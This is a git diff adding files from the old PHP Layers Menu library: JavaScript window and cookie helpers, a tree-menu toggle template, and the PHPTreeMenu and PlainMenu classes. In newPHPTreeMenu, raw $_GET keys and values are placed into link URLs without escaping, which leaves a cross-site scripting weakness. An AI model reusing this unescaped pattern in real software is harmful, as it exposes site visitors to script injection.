+       if ((DOM && !IE) || NS4 || Konqueror || Opera) {
+               value = window.pageXOffset;
+       } else {        // IE
+               if (document.documentElement && document.documentElement.scrollLeft) {
+                       value = document.documentElement.scrollLeft;
+               } else if (document.body) {
+                       value = document.body.scrollLeft;
+               }
+       }
+       return (value);
+}
+
+function getwindowheight() {
+       var value = 0;
+       if ((DOM && !IE) || NS4 || Konqueror || Opera) {
+               value = top.innerHeight;
+       } else {        // IE
+               if (document.documentElement && document.documentElement.clientHeight) {
+                       value = document.documentElement.clientHeight;
+               } else if (document.body) {
+                       value = document.body.clientHeight;
+               }
+       }
+       if (isNaN(value)) {
+               value = top.innerHeight;
+       }
+       return (value);
+}
+
+function getwindowyoffset() {
+       var value;
+       if ((DOM && !IE) || NS4 || Konqueror || Opera) {
+               value = window.pageYOffset;
+       } else {        // IE
+               if (document.documentElement && document.documentElement.scrollTop) {
+                       value = document.documentElement.scrollTop;
+               } else if (document.body) {
+                       value = document.body.scrollTop;
+               }
+       }
+       return (value);
+}
+
+function fixieflm(menuName) {
+       if (DOM) {
+               setwidth(menuName, "100%");
+       } else {        // IE4 IS SIMPLY A BASTARD !!!
+               document.write("</div>");
+               document.write("<div id=\"IE4" + menuName + "\" style=\"position: relative; width: 100%; visibility: visible;\">");
+       }
+}
+
+function setLMCookie(name, value) {
+       document.cookie = name + "=" + value;
+}
+
+function getLMCookie(name) {
+       foobar = document.cookie.split(name + "=");
+       if (foobar.length < 2) {
+               return null;
+       }
+       tempstring = foobar[1];
+       if (tempstring.indexOf(";") == -1) {
+               return tempstring;
+       }
+       yafoobar = tempstring.split(";");
+       return yafoobar[0];
+}
+
+function parse_expand_string() {
+       expand_string = getLMCookie("expand");
+       expand = new Array();
+       if (expand_string) {
+               expanded = expand_string.split("|");
+               for (i=0; i<expanded.length-1; i++) {
+                       expand[expanded[i]] = 1;
+               }
+       }
+}
+
+function parse_collapse_string() {
+       collapse_string = getLMCookie("collapse");
+       collapse = new Array();
+       if (collapse_string) {
+               collapsed = collapse_string.split("|");
+               for (i=0; i<collapsed.length-1; i++) {
+                       collapse[collapsed[i]] = 1;
+               }
+       }
+}
+
+parse_expand_string();
+parse_collapse_string();
+
+function save_expand_string() {
+       expand_string = "";
+       for (i=0; i<expand.length; i++) {
+               if (expand[i] == 1) {
+                       expand_string += i + "|";
+               }
+       }
+       setLMCookie("expand", expand_string);
+}
+
+function save_collapse_string() {
+       collapse_string = "";
+       for (i=0; i<collapse.length; i++) {
+               if (collapse[i] == 1) {
+                       collapse_string += i + "|";
+               }
+       }
+       setLMCookie("collapse", collapse_string);
+}
+
diff --git a/lib/layerstreemenu.ijs b/lib/layerstreemenu.ijs
new file mode 100755 (executable)
index 0000000..ab2c380
--- /dev/null
@@ -0,0 +1,42 @@
+// PHP Layers Menu 2.3.3 (C) 2001-2003 Marco Pratesi (marco at telug dot it)
+
+function {toggle_function_name}(nodeid) {
+if ((DOM && !Opera56 && !Konqueror2) || IE4) {
+       movedlayers = 0;
+       parse_expand_string();
+       parse_collapse_string();
+       if (!IE4) {
+               sonLayer = document.getElementById('jt' + nodeid + 'son');
+               nodeLayer = document.getElementById('jt' + nodeid + 'node');
+               folderLayer = document.getElementById('jt' + nodeid + 'folder');
+       } else {
+               sonLayer = document.all('jt' + nodeid + 'son');
+               nodeLayer = document.all('jt' + nodeid + 'node');
+               folderLayer = document.all('jt' + nodeid + 'folder');
+       }
+       if (sonLayer.style.display == "none") {
+               sonLayer.style.display = "block";
+               if (nodeLayer.src.indexOf("{img_expand}") > -1) {
+                       nodeLayer.src = "{img_collapse}";
+               } else {
+                       nodeLayer.src = "{img_collapse_corner}";
+               }
+               folderLayer.src = "{img_folder_open}";
+               expand[nodeid] = 1;
+               collapse[nodeid] = 0;
+       } else {
+               sonLayer.style.display = "none";
+               if (nodeLayer.src.indexOf("{img_collapse}") > -1) {
+                       nodeLayer.src = "{img_expand}";
+               } else {
+                       nodeLayer.src = "{img_expand_corner}";
+               }
+               folderLayer.src = "{img_folder_closed}";
+               expand[nodeid] = 0;
+               collapse[nodeid] = 1;
+       }
+       save_expand_string();
+       save_collapse_string();
+}
+}
+
diff --git a/lib/phptreemenu.inc.php b/lib/phptreemenu.inc.php
new file mode 100755 (executable)
index 0000000..fb43d35
--- /dev/null
@@ -0,0 +1,448 @@
+<?php
+// PHP Layers Menu 3.2.0-rc (C) 2001-2004 Marco Pratesi - http://www.marcopratesi.it/
+
+/**
+* This file contains the code of the PHPTreeMenu class.
+* @package PHPLayersMenu
+*/
+
+/**
+* This is the PHPTreeMenu class of the PHP Layers Menu library.
+*
+* This class depends on the LayersMenuCommon class.  It provides "server-side" (PHP-based) tree menus, that to do not require JavaScript to work.
+*
+* @version 3.2.0-rc
+* @package PHPLayersMenu
+*/
+class PHPTreeMenu extends LayersMenuCommon
+{
+
+/**
+* The character used for the PHP Tree Menu in the query string to separate items ids
+* @access private
+* @var string
+*/
+var $phpTreeMenuSeparator;
+/**
+* The default value of the expansion string for the PHP Tree Menu
+* @access private
+* @var string
+*/
+var $phpTreeMenuDefaultExpansion;
+/**
+* Type of images used for the Tree Menu
+* @access private
+* @var string
+*/
+var $phpTreeMenuImagesType;
+/**
+* Prefix for filenames of images of a theme
+* @access private
+* @var string
+*/
+var $phpTreeMenuTheme;
+/**
+* An array where we store the PHP Tree Menu code for each menu
+* @access private
+* @var array
+*/
+var $_phpTreeMenu;
+
+/**
+* The constructor method; it initializates some variables
+* @return void
+*/
+function PHPTreeMenu()
+{
+       $this->LayersMenuCommon();
+
+       $this->phpTreeMenuSeparator = '|';
+       $this->phpTreeMenuDefaultExpansion = '';
+       $this->phpTreeMenuImagesType = 'png';
+       $this->phpTreeMenuTheme = '';
+       $this->_phpTreeMenu = array();
+}
+
+/**
+* The method to set the dirroot directory
+* @access public
+* @return boolean
+*/
+function setDirroot($dirroot)
+{
+       return $this->setDirrootCommon($dirroot);
+}
+
+/**
+* The method to set the value of separator for the Tree Menu query string
+* @access public
+* @return void
+*/
+function setPHPTreeMenuSeparator($phpTreeMenuSeparator)
+{
+       $this->phpTreeMenuSeparator = $phpTreeMenuSeparator;
+}
+
+/**
+* The method to set the default value of the expansion string for the PHP Tree Menu
+* @access public
+* @return void
+*/
+function setPHPTreeMenuDefaultExpansion($phpTreeMenuDefaultExpansion)
+{
+       $this->phpTreeMenuDefaultExpansion = $phpTreeMenuDefaultExpansion;
+}
+
+/**
+* The method to set the type of images used for the Tree Menu
+* @access public
+* @return void
+*/
+function setPHPTreeMenuImagesType($phpTreeMenuImagesType)
+{
+       $this->phpTreeMenuImagesType = $phpTreeMenuImagesType;
+}
+
+/**
+* The method to set the prefix for filenames of images of a theme
+* @access public
+* @return void
+*/
+function setPHPTreeMenuTheme($phpTreeMenuTheme)
+{
+       $this->phpTreeMenuTheme = $phpTreeMenuTheme;
+}
+
+/**
+* Method to prepare a new PHP Tree Menu.
+*
+* This method processes items of a menu and parameters submitted
+* through GET (i.e. nodes to be expanded) to prepare and return
+* the corresponding Tree Menu code.
+*
+* @access public
+* @param string $menu_name the name of the menu whose items have to be processed
+* @return string
+*/
+function newPHPTreeMenu(
+       $menu_name = '' // non consistent default...
+       )
+{
+       $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ? 'https://' : 'http://';
+       $this_host = (isset($_SERVER['HTTP_HOST'])) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
+       if (isset($_SERVER['SCRIPT_NAME'])) {
+               $me = $_SERVER['SCRIPT_NAME'];
+       } elseif (isset($_SERVER['REQUEST_URI'])) {
+               $me = $_SERVER['REQUEST_URI'];
+       } elseif (isset($_SERVER['PHP_SELF'])) {
+               $me = $_SERVER['PHP_SELF'];
+       } elseif (isset($_SERVER['PATH_INFO'])) {
+               $me = $_SERVER['PATH_INFO'];
+       }
+       $url = $protocol . $this_host . $me;
+       $query = '';
+       reset($_GET);
+       while (list($key, $value) = each($_GET)) {
+               if ($key != 'p' && $value != '') {
+                       $query .= '&amp;' . $key . '=' . $value;
+               }
+       }
+       if ($query != '') {
+               $query = '?' . substr($query, 5) . '&amp;p=';
+       } else {
+               $query = '?p=';
+       }
+       $p = (isset($_GET['p'])) ? $_GET['p'] : $this->phpTreeMenuDefaultExpansion;
+
+/* ********************************************************* */
+/* Based on TreeMenu 1.1 by Bjorge Dijkstra (bjorge@gmx.net) */
+/* ********************************************************* */
+       $this->_phpTreeMenu[$menu_name] = '';
+
+       $img_collapse                   = $this->imgwww . $this->phpTreeMenuTheme . 'tree_collapse.' . $this->phpTreeMenuImagesType;
+       $alt_collapse                   = '--';
+       $img_collapse_corner            = $this->imgwww . $this->phpTreeMenuTheme . 'tree_collapse_corner.' . $this->phpTreeMenuImagesType;
+       $alt_collapse_corner            = '--';
+       $img_collapse_corner_first      = $this->imgwww . $this->phpTreeMenuTheme . 'tree_collapse_corner_first.' . $this->phpTreeMenuImagesType;
+       $alt_collapse_corner_first      = '--';
+       $img_collapse_first             = $this->imgwww . $this->phpTreeMenuTheme . 'tree_collapse_first.' . $this->phpTreeMenuImagesType;
+       $alt_collapse_first             = '--';
+       $img_corner                     = $this->imgwww . $this->phpTreeMenuTheme . 'tree_corner.' . $this->phpTreeMenuImagesType;
+       $alt_corner                     = '`-';
+       $img_expand                     = $this->imgwww . $this->phpTreeMenuTheme . 'tree_expand.' . $this->phpTreeMenuImagesType;
+       $alt_expand                     = '+-';
+       $img_expand_corner              = $this->imgwww . $this->phpTreeMenuTheme . 'tree_expand_corner.' . $this->phpTreeMenuImagesType;
+       $alt_expand_corner              = '+-';
+       $img_expand_corner_first        = $this->imgwww . $this->phpTreeMenuTheme . 'tree_expand_corner_first.' . $this->phpTreeMenuImagesType;
+       $alt_expand_corner_first        = '+-';
+       $img_expand_first               = $this->imgwww . $this->phpTreeMenuTheme . 'tree_expand_first.' . $this->phpTreeMenuImagesType;
+       $alt_expand_first               = '+-';
+       $img_folder_closed              = $this->imgwww . $this->phpTreeMenuTheme . 'tree_folder_closed.' . $this->phpTreeMenuImagesType;
+       $alt_folder_closed              = '->';
+       $img_folder_open                = $this->imgwww . $this->phpTreeMenuTheme . 'tree_folder_open.' . $this->phpTreeMenuImagesType;
+       $alt_folder_open                = '->';
+       $img_leaf                       = $this->imgwww . $this->phpTreeMenuTheme . 'tree_leaf.' . $this->phpTreeMenuImagesType;
+       $alt_leaf                       = '->';
+       $img_space                      = $this->imgwww . $this->phpTreeMenuTheme . 'tree_space.' . $this->phpTreeMenuImagesType;
+       $alt_space                      = '  ';
+       $img_split                      = $this->imgwww . $this->phpTreeMenuTheme . 'tree_split.' . $this->phpTreeMenuImagesType;
+       $alt_split                      = '|-';
+       $img_split_first                = $this->imgwww . $this->phpTreeMenuTheme . 'tree_split_first.' . $this->phpTreeMenuImagesType;
+       $alt_split_first                = '|-';
+       $img_vertline                   = $this->imgwww . $this->phpTreeMenuTheme . 'tree_vertline.' . $this->phpTreeMenuImagesType;
+       $alt_vertline                   = '| ';
+
+       for ($i=$this->_firstItem[$menu_name]; $i<=$this->_lastItem[$menu_name]; $i++) {
+               $expand[$i] = 0;
+               $visible[$i] = 0;
+               $this->tree[$i]['last_item'] = 0;
+       }
+       for ($i=0; $i<=$this->_maxLevel[$menu_name]; $i++) {
+               $levels[$i] = 0;
+       }
+
+       // Get numbers of nodes to be expanded
+       if ($p != '') {
+               $explevels = explode($this->phpTreeMenuSeparator, $p);
+               $explevels_count = count($explevels);
+               for ($i=0; $i<$explevels_count; $i++) {
+                       $expand[$explevels[$i]] = 1;
+               }
+       }
+
+       // Find last nodes of subtrees
+       $last_level = $this->_maxLevel[$menu_name];
+       for ($i=$this->_lastItem[$menu_name]; $i>=$this->_firstItem[$menu_name]; $i--) {
+               if ($this->tree[$i]['level'] < $last_level) {
+                       for ($j=$this->tree[$i]['level']+1; $j<=$this->_maxLevel[$menu_name]; $j++) {
+                               $levels[$j] = 0;
+                       }
+               }
+               if ($levels[$this->tree[$i]['level']] == 0) {
+                       $levels[$this->tree[$i]['level']] = 1;
+                       $this->tree[$i]['last_item'] = 1;
+               } else {
+                       $this->tree[$i]['last_item'] = 0;
+               }
+               $last_level = $this->tree[$i]['level'];
+       }
+
+       // Determine visible nodes
+       // all root nodes are always visible
+       for ($i=$this->_firstItem[$menu_name]; $i<=$this->_lastItem[$menu_name]; $i++) {
+               if ($this->tree[$i]['level'] == 1) {
+                       $visible[$i] = 1;
+               }
+       }
+       if (isset($explevels)) {
+               for ($i=0; $i<$explevels_count; $i++) {
+                       $n = $explevels[$i];
+                       if ($n >= $this->_firstItem[$menu_name] && $n <= $this->_lastItem[$menu_name] && $visible[$n] == 1 && $expand[$n] == 1) {
+                               $j = $n + 1;
+                               while ($j<=$this->_lastItem[$menu_name] && $this->tree[$j]['level']>$this->tree[$n]['level']) {
+                                       if ($this->tree[$j]['level'] == $this->tree[$n]['level']+1) {
+                                               $visible[$j] = 1;
+                                       }
+                                       $j++;
+                               }
+                       }
+               }
+       }
+
+       // Output nicely formatted tree
+       for ($i=0; $i<$this->_maxLevel[$menu_name]; $i++) {
+               $levels[$i] = 1;
+       }
+       $max_visible_level = 0;
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {
+               if ($visible[$cnt]) {
+                       $max_visible_level = max($max_visible_level, $this->tree[$cnt]['level']);
+               }
+       }
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {
+               if ($this->tree[$cnt]['text'] == '---') {
+                       continue;       // separators are significant only for layers-based menus
+               }
+
+               if (isset($this->tree[$cnt]['selected']) && $this->tree[$cnt]['selected']) {
+                       $linkstyle = 'phplmselected';
+               } else {
+                       $linkstyle = 'phplm';
+               }
+
+               if ($visible[$cnt]) {
+                       $this->_phpTreeMenu[$menu_name] .= '<div class="treemenudiv">' . "\n"; 
+
+                       // vertical lines from higher levels
+                       for ($i=0; $i<$this->tree[$cnt]['level']-1; $i++) {
+                               if ($levels[$i] == 1) {
+                                       $img = $img_vertline;
+                                       $alt = $alt_vertline;
+                               } else {
+                                       $img = $img_space;
+                                       $alt = $alt_space;
+                               }
+                               $this->_phpTreeMenu[$menu_name] .= '<img align="top" border="0" class="imgs" src="' . $img . '" alt="' . $alt . '" />';
+                       }
+
+                       $not_a_leaf = $cnt<$this->_lastItem[$menu_name] && $this->tree[$cnt+1]['level']>$this->tree[$cnt]['level'];
+
+                       if ($not_a_leaf) {
+                               // Create expand/collapse parameters
+                               $params = '';
+                               for ($i=$this->_firstItem[$menu_name]; $i<=$this->_lastItem[$menu_name]; $i++) {
+                                       if ($expand[$i] == 1 && $cnt!= $i || ($expand[$i] == 0 && $cnt == $i)) {
+                                               $params .= $this->phpTreeMenuSeparator . $i;
+                                       }
+                               }
+                               if ($params != '') {
+                                       $params = substr($params, 1);
+                               }
+                       }
+
+                       if ($this->tree[$cnt]['last_item'] == 1) {
+                       // corner at end of subtree or t-split
+                               if ($not_a_leaf) {
+                                       if ($expand[$cnt] == 0) {
+                                               if ($cnt == $this->_firstItem[$menu_name]) {
+                                                       $img = $img_expand_corner_first;
+                                                       $alt = $alt_expand_corner_first;
+                                               } else {
+                                                       $img = $img_expand_corner;
+                                                       $alt = $alt_expand_corner;
+                                               }
+                                       } else {
+                                               if ($cnt == $this->_firstItem[$menu_name]) {
+                                                       $img = $img_collapse_corner_first;
+                                                       $alt = $alt_collapse_corner_first;
+                                               } else {
+                                                       $img = $img_collapse_corner;
+                                                       $alt = $alt_collapse_corner;
+                                               }
+                                       }
+                                       $this->_phpTreeMenu[$menu_name] .= '<a name="' . $cnt . '" class="' . $linkstyle . '" href="' . $url . $query . $params . '#' . $cnt . '"><img align="top" border="0" class="imgs" src="' . $img . '" alt="' . $alt . '" /></a>';
+                               } else {
+                                       $this->_phpTreeMenu[$menu_name] .= '<img align="top" border="0" class="imgs" src="' . $img_corner . '" alt="' . $alt_corner . '" />';
+                               }
+                               $levels[$this->tree[$cnt]['level']-1] = 0;
+                       } else {
+                               if ($not_a_leaf) {
+                                       if ($expand[$cnt] == 0) {
+                                               if ($cnt == $this->_firstItem[$menu_name]) {
+                                                       $img = $img_expand_first;
+                                                       $alt = $alt_expand_first;
+                                               } else {
+                                                       $img = $img_expand;
+                                                       $alt = $alt_expand;
+                                               }
+                                       } else {
+                                               if ($cnt == $this->_firstItem[$menu_name]) {
+                                                       $img = $img_collapse_first;
+                                                       $alt = $alt_collapse_first;
+                                               } else {
+                                                       $img = $img_collapse;
+                                                       $alt = $alt_collapse;
+                                               }
+                                       }
+                                       $this->_phpTreeMenu[$menu_name] .= '<a name="' . $cnt . '" class="' . $linkstyle . '" href="' . $url . $query . $params . '#' . $cnt . '"><img align="top" border="0" class="imgs" src="' . $img . '" alt="' . $alt . '" /></a>';
+                               } else {
+                                       if ($cnt == $this->_firstItem[$menu_name]) {
+                                               $img = $img_split_first;
+                                               $alt = $alt_split_first;
+                                       } else {
+                                               $img = $img_split;
+                                               $alt = $alt_split;
+                                       }
+                                       $this->_phpTreeMenu[$menu_name] .= '<img align="top" border="0" class="imgs" src="' . $img . '" alt="' . $alt . '" />';
+                               }
+                               $levels[$this->tree[$cnt]['level']-1] = 1;
+                       }
+
+                       if ($this->tree[$cnt]['parsed_href'] == '' || $this->tree[$cnt]['parsed_href'] == '#') {
+                               $a_href_open_img = '';
+                               $a_href_close_img = '';
+                               $a_href_open = '<a class="phplmnormal">';
+                               $a_href_close = '</a>';
+                       } else {
+                               $a_href_open_img = '<a href="' . $this->tree[$cnt]['parsed_href'] . '"' . $this->tree[$cnt]['parsed_title'] . $this->tree[$cnt]['parsed_target'] . '>';
+                               $a_href_close_img = '</a>';
+                               $a_href_open = '<a href="' . $this->tree[$cnt]['parsed_href'] . '"' . $this->tree[$cnt]['parsed_title'] . $this->tree[$cnt]['parsed_target'] . ' class="' . $linkstyle . '">';
+                               $a_href_close = '</a>';
+                       }
+
+                       if ($not_a_leaf) {
+                               if ($expand[$cnt] == 1) {
+                                       $img = $img_folder_open;
+                                       $alt = $alt_folder_open;
+                               } else {
+                                       $img = $img_folder_closed;
+                                       $alt = $alt_folder_closed;
+                               }
+                               $this->_phpTreeMenu[$menu_name] .= $a_href_open_img . '<img align="top" border="0" class="imgs" src="' . $img . '" alt="' . $alt . '" />' . $a_href_close_img;
+                       } else {
+                               if ($this->tree[$cnt]['parsed_icon'] != '') {
+                                       $this->_phpTreeMenu[$menu_name] .= $a_href_open_img . '<img align="top" border="0" src="' . $this->tree[$cnt]['parsed_icon'] . '" width="' . $this->tree[$cnt]['iconwidth'] . '" height="' . $this->tree[$cnt]['iconheight'] . '" alt="' . $alt_leaf . '" />' . $a_href_close_img;
+                               } else {
+                                       $this->_phpTreeMenu[$menu_name] .= $a_href_open_img . '<img align="top" border="0" class="imgs" src="' . $img_leaf . '" alt="' . $alt_leaf . '" />' . $a_href_close_img;
+                               }
+                       }
+
+                       // output item text
+                       $foobar = $max_visible_level - $this->tree[$cnt]['level'] + 1;
+                       if ($foobar > 1) {
+                               $colspan = ' colspan="' . $foobar . '"';
+                       } else {
+                               $colspan = '';
+                       }
+                       $this->_phpTreeMenu[$menu_name] .= '&nbsp;' . $a_href_open . $this->tree[$cnt]['parsed_text'] . $a_href_close . "\n";
+                       $this->_phpTreeMenu[$menu_name] .= '</div>' . "\n";
+               }
+       }
+/* ********************************************************* */
+
+/*
+       $this->_phpTreeMenu[$menu_name] =
+       '<div class="phplmnormal">' . "\n" .
+       $this->_phpTreeMenu[$menu_name] .
+       '</div>' . "\n";
+*/
+       // Some (old) browsers do not support the "white-space: nowrap;" CSS property...
+       $this->_phpTreeMenu[$menu_name] =
+       '<table cellspacing="0" cellpadding="0" border="0">' . "\n" .
+       '<tr>' . "\n" .
+       '<td class="phplmnormal" nowrap="nowrap">' . "\n" .
+       $this->_phpTreeMenu[$menu_name] .
+       '</td>' . "\n" .
+       '</tr>' . "\n" .
+       '</table>' . "\n";
+
+       return $this->_phpTreeMenu[$menu_name];
+}
+
+/**
+* Method that returns the code of the requested PHP Tree Menu
+* @access public
+* @param string $menu_name the name of the menu whose PHP Tree Menu code
+*   has to be returned
+* @return string
+*/
+function getPHPTreeMenu($menu_name)
+{
+       return $this->_phpTreeMenu[$menu_name];
+}
+
+/**
+* Method that prints the code of the requested PHP Tree Menu
+* @access public
+* @param string $menu_name the name of the menu whose PHP Tree Menu code
+*   has to be printed
+* @return void
+*/
+function printPHPTreeMenu($menu_name)
+{
+       print $this->_phpTreeMenu[$menu_name];
+}
+
+} /* END OF CLASS */
+
+?>
diff --git a/lib/plainmenu.inc.php b/lib/plainmenu.inc.php
new file mode 100755 (executable)
index 0000000..0580f50
--- /dev/null
@@ -0,0 +1,281 @@
+<?php
+// PHP Layers Menu 3.2.0-rc (C) 2001-2004 Marco Pratesi - http://www.marcopratesi.it/
+
+/**
+* This file contains the code of the PlainMenu class.
+* @package PHPLayersMenu
+*/
+
+/**
+* This is the PlainMenu class of the PHP Layers Menu library.
+*
+* This class depends on the LayersMenuCommon class and on the PEAR conforming version of the PHPLib Template class, i.e. on HTML_Template_PHPLIB.  It provides plain menus, that to do not require JavaScript to work.
+*
+* @version 3.2.0-rc
+* @package PHPLayersMenu
+*/
+class PlainMenu extends LayersMenuCommon
+{
+
+/**
+* The template to be used for the Plain Menu
+*/
+var $plainMenuTpl;
+/**
+* An array where we store the Plain Menu code for each menu
+* @access private
+* @var array
+*/
+var $_plainMenu;
+
+/**
+* The template to be used for the Horizontal Plain Menu
+*/
+var $horizontalPlainMenuTpl;
+/**
+* An array where we store the Horizontal Plain Menu code for each menu
+* @access private
+* @var array
+*/
+var $_horizontalPlainMenu;
+
+/**
+* The constructor method; it initializates some variables
+* @return void
+*/
+function PlainMenu()
+{
+       $this->LayersMenuCommon();
+
+       $this->plainMenuTpl = $this->tpldir . 'layersmenu-plain_menu.ihtml';
+       $this->_plainMenu = array();
+
+       $this->horizontalPlainMenuTpl = $this->tpldir . 'layersmenu-horizontal_plain_menu.ihtml';
+       $this->_horizontalPlainMenu = array();
+}
+
+/**
+* The method to set the dirroot directory
+* @access public
+* @return boolean
+*/
+function setDirroot($dirroot)
+{
+       $oldtpldir = $this->tpldir;
+       if ($foobar = $this->setDirrootCommon($dirroot)) {
+               $this->updateTpldir($oldtpldir);
+       }
+       return $foobar;
+}
+
+/**
+* The method to set the tpldir directory
+* @access public
+* @return boolean
+*/
+function setTpldir($tpldir)
+{
+       $oldtpldir = $this->tpldir;
+       if ($foobar = $this->setTpldirCommon($tpldir)) {
+               $this->updateTpldir($oldtpldir);
+       }
+       return $foobar;
+}
+
+/**
+* The method to update the templates directory path to the new tpldir
+* @access private
+* @return void
+*/
+function updateTpldir($oldtpldir)
+{
+       $oldlength = strlen($oldtpldir);
+       $foobar = strpos($this->plainMenuTpl, $oldtpldir);
+       if (!($foobar === false || $foobar != 0)) {
+               $this->plainMenuTpl = $this->tpldir . substr($this->plainMenuTpl, $oldlength);
+       }
+       $foobar = strpos($this->horizontalPlainMenuTpl, $oldtpldir);
+       if (!($foobar === false || $foobar != 0)) {
+               $this->horizontalPlainMenuTpl = $this->tpldir . substr($this->horizontalPlainMenuTpl, $oldlength);
+       }
+}
+
+/**
+* The method to set plainMenuTpl
+* @access public
+* @return boolean
+*/
+function setPlainMenuTpl($plainMenuTpl)
+{
+       if (str_replace('/', '', $plainMenuTpl) == $plainMenuTpl) {
+               $plainMenuTpl = $this->tpldir . $plainMenuTpl;
+       }
+       if (!file_exists($plainMenuTpl)) {
+               $this->error("setPlainMenuTpl: file $plainMenuTpl does not exist.");
+               return false;
+       }
+       $this->plainMenuTpl = $plainMenuTpl;
+       return true;
+}
+
+/**
+* Method to prepare a new Plain Menu.
+*
+* This method processes items of a menu to prepare and return
+* the corresponding Plain Menu code.
+*
+* @access public
+* @param string $menu_name the name of the menu whose items have to be processed
+* @return string
+*/
+function newPlainMenu(
+       $menu_name = '' // non consistent default...
+       )
+{
+       $plain_menu_blck = '';
+       $t = new Template_PHPLIB();
+       $t->setFile('tplfile', $this->plainMenuTpl);
+       $t->setBlock('tplfile', 'template', 'template_blck');
+       $t->setBlock('template', 'plain_menu_cell', 'plain_menu_cell_blck');
+       $t->setVar('plain_menu_cell_blck', '');
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {
+               if ($this->tree[$cnt]['text'] == '---') {
+                       continue;       // separators are significant only for layers-based menus
+               }
+               $nbsp = '';
+               for ($i=1; $i<$this->tree[$cnt]['level']; $i++) {
+                       $nbsp .= '&nbsp;&nbsp;&nbsp;';
+               }
+               $t->setVar(array(
+                       'nbsp'          => $nbsp,
+                       'href'          => $this->tree[$cnt]['parsed_href'],
+                       'title'         => $this->tree[$cnt]['parsed_title'],
+                       'target'        => $this->tree[$cnt]['parsed_target'],
+                       'text'          => $this->tree[$cnt]['parsed_text']
+               ));
+               $plain_menu_blck .= $t->parse('plain_menu_cell_blck', 'plain_menu_cell', false);
+       }
+       $t->setVar('plain_menu_cell_blck', $plain_menu_blck);
+       $this->_plainMenu[$menu_name] = $t->parse('template_blck', 'template');
+
+       return $this->_plainMenu[$menu_name];
+}
+
+/**
+* Method that returns the code of the requested Plain Menu
+* @access public
+* @param string $menu_name the name of the menu whose Plain Menu code
+*   has to be returned
+* @return string
+*/
+function getPlainMenu($menu_name)
+{
+       return $this->_plainMenu[$menu_name];
+}
+
+/**
+* Method that prints the code of the requested Plain Menu
+* @access public
+* @param string $menu_name the name of the menu whose Plain Menu code
+*   has to be printed
+* @return void
+*/
+function printPlainMenu($menu_name)
+{
+       print $this->_plainMenu[$menu_name];
+}
+
+/**
+* The method to set horizontalPlainMenuTpl
+* @access public
+* @return boolean
+*/
+function setHorizontalPlainMenuTpl($horizontalPlainMenuTpl)
+{
+       if (str_replace('/', '', $horizontalPlainMenuTpl) == $horizontalPlainMenuTpl) {
+               $horizontalPlainMenuTpl = $this->tpldir . $horizontalPlainMenuTpl;
+       }
+       if (!file_exists($horizontalPlainMenuTpl)) {
+               $this->error("setHorizontalPlainMenuTpl: file $horizontalPlainMenuTpl does not exist.");
+               return false;
+       }
+       $this->horizontalPlainMenuTpl = $horizontalPlainMenuTpl;
+       return true;
+}
+
+/**
+* Method to prepare a new Horizontal Plain Menu.
+*
+* This method processes items of a menu to prepare and return
+* the corresponding Horizontal Plain Menu code.
+*
+* @access public
+* @param string $menu_name the name of the menu whose items have to be processed
+* @return string
+*/
+function newHorizontalPlainMenu(
+       $menu_name = '' // non consistent default...
+       )
+{
+       $horizontal_plain_menu_blck = '';
+       $t = new Template_PHPLIB();
+       $t->setFile('tplfile', $this->horizontalPlainMenuTpl);
+       $t->setBlock('tplfile', 'template', 'template_blck');
+       $t->setBlock('template', 'horizontal_plain_menu_cell', 'horizontal_plain_menu_cell_blck');
+       $t->setVar('horizontal_plain_menu_cell_blck', '');
+       $t->setBlock('horizontal_plain_menu_cell', 'plain_menu_cell', 'plain_menu_cell_blck');  
+       $t->setVar('plain_menu_cell_blck', '');
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {
+               if ($this->tree[$cnt]['text'] == '---') {
+                       continue;       // separators are significant only for layers-based menus
+               }
+               if ($this->tree[$cnt]['level'] == 1 && $cnt > $this->_firstItem[$menu_name]) {
+                       $t->parse('horizontal_plain_menu_cell_blck', 'horizontal_plain_menu_cell', true);
+                       $t->setVar('plain_menu_cell_blck', '');
+               }
+               $nbsp = '';
+               for ($i=1; $i<$this->tree[$cnt]['level']; $i++) {
+                       $nbsp .= '&nbsp;&nbsp;&nbsp;';
+               }
+               $t->setVar(array(
+                       'nbsp'          => $nbsp,
+                       'href'          => $this->tree[$cnt]['parsed_href'],
+                       'title'         => $this->tree[$cnt]['parsed_title'],
+                       'target'        => $this->tree[$cnt]['parsed_target'],
+                       'text'          => $this->tree[$cnt]['parsed_text']
+               ));
+               $t->parse('plain_menu_cell_blck', 'plain_menu_cell', true);
+       }
+       $t->parse('horizontal_plain_menu_cell_blck', 'horizontal_plain_menu_cell', true);
+       $this->_horizontalPlainMenu[$menu_name] = $t->parse('template_blck', 'template');
+
+       return $this->_horizontalPlainMenu[$menu_name];
+}
+
+/**
+* Method that returns the code of the requested Horizontal Plain Menu
+* @access public
+* @param string $menu_name the name of the menu whose Horizontal Plain Menu code
+*   has to be returned
+* @return string
+*/
+function getHorizontalPlainMenu($menu_name)
+{
+       return $this->_horizontalPlainMenu[$menu_name];
+}
+
+/**
+* Method that prints the code of the requested Horizontal Plain Menu
+* @access public
+* @param string $menu_name the name of the menu whose Horizontal Plain Menu code
+*   has to be printed
+* @return void
+*/
+function printHorizontalPlainMenu($menu_name)
+{
+       print $this->_horizontalPlainMenu[$menu_name];
+}
+
+} /* END OF CLASS */
+
+?>
diff --git a/lib/template.inc.php b/lib/template.inc.php
new file mode 100755 (executable)
index 0000000..2243577
--- /dev/null
@@ -0,0 +1,558 @@
+<?php
+// vim: set expandtab tabstop=4 shiftwidth=4:
+// +----------------------------------------------------------------------+
+// | PHP Version 4                                                        |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group                                |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license,      |
+// | that is bundled with this package in the file LICENSE, and is        |
+// | available at through the world-wide-web at                           |
+// | http://www.php.net/license/2_02.txt.                                 |
+// | If you did not receive a copy of the PHP license and are unable to   |
+// | obtain it through the world-wide-web, please send a note to          |
+// | license@php.net so we can mail you a copy immediately.               |
+// +----------------------------------------------------------------------+
